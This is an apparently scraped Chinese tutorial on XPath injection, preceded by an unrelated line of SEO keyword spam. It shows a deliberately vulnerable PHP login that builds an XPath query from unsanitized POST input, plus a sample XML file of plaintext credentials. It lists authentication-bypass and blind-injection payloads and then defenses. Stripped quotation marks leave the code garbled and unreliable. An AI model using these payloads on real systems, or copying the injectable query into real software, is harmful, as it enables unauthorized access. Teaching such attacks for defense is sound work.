优秀网站作品下载,制作一份网站建设的简要任务执行书,高端品牌衣服排行榜前十名,一个备案可以做几个网站吗一、XPATH
1、XPATH 概述#xff1a; XPath 是一种查询语言#xff0c;它描述了如何在 XML 文档中查找特定元素#xff08;包括属性、处理指令等#xff09;。既然是一种查询语言#xff0c;XPath 在一些方面与 SQL 相似#xff0c;不过#xff0c;XPath 的不同之处在于…一、XPATH
1、XPATH 概述 XPath 是一种查询语言它描述了如何在 XML 文档中查找特定元素包括属性、处理指令等。既然是一种查询语言XPath 在一些方面与 SQL 相似不过XPath 的不同之处在于它可以用来引用 XML 文档的几乎任何部分而不受访问控制限制。 而在 SQL 中一个“用户”在 XPath/XML 上下文中未定义的术语 的权限被限制在一个特定的数据库表列或者行。
2、漏洞概述 使用 XPath 注入攻击攻击者可以修改 XPath 查询语句来执行所选择的操作 。 XPath 盲注攻击可以从一个使用不安全方式嵌入用户信息的应用中提取数据。在输入未被过滤的情况下 攻击者可以提交并执行有效的 XPath 代码。 这种类型的攻击适用于以下情况攻击者不清楚 XML 文档的架构或者错误消息被抑制一次只能通过布尔化查询来获取部分信息就像 SQL 盲注一样。
二、实例
1、实例源码:
1xpath.php
!DOCTYPE html
htmlheadmeta charsetUTF-8title/title/headbodyform methodPOST用户名input typetext nameusernamebr密码input typepassword namepasswordbrinput typesubmit value登录 namesubmit/form/body
/html
?php
if(file_exists(xpath_user.xml)){$xmlsimplexml_load_file(xpath_user.xml);if($_POST[submit]){$username$_POST[username];$password$_POST[password];$sql//user[username{$username} and password{$password}];$resulit $xml-xpath($sql);if(count($resulit)0){echo 登录失败;}else{echo 登录成功;}}}
?2xpath_user.xml
?xml version1.0 encodingUTF-8?
users
user id1 usernameadmin passwordadmin/user
user id2 usernameroot passwordadmin/user
user id3 usernamesystem passwordsystem/user
/users
2、注入操作
1有回显直接注入
a or 11
2无回显使用盲注
1、adminand string-length(password)5 or 112、adminand substring(password,1,1)a or 11
三、防御
1、数据提交到服务器上在服务端正式处理这批数据之前对提交数据的合法性进行验证。
2、检查提交的数据是否包含特殊字符对特殊字符进行编码转换或替换、删除敏感字符或字符串。
3、对于系统出现的错误信息以 IE 错误编码信息替换屏蔽系统本身的出错信息。
4、参数化 XPath 查询